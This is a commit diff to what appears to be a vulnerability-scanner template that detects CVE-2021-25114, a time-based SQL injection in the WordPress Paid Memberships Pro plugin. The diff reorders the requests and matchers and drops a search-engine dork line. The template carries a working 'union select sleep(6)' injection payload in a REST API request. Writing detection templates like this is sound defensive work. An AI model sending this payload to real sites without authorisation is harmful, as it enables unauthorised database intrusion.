updated metadata and template fix
parent
540158b029
commit
56dca2dbe5
|
@ -14,26 +14,25 @@ info:
|
|||
cve-id: CVE-2021-25114
|
||||
metadata:
|
||||
verified: true
|
||||
google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
|
||||
tags: cve,cve2021,wordpress,wp-plugin,wp,sqli,paid-memberships-pro
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
@timeout: 15s
|
||||
GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
req-condition: true
|
||||
matchers-condition: and
|
||||
- |
|
||||
GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- duration_2>=6
|
||||
- contains(all_headers_2, "application/json")
|
||||
- duration_1>=6
|
||||
- contains(all_headers_1, "application/json")
|
||||
- status_code == 200
|
||||
- contains(body_1, 'other_discount_code_a')
|
||||
condition: and
|
||||
- contains(body_2, 'other_discount_code_')
|
||||
condition: and
|
||||
|
|
Loading…
Reference in New Issue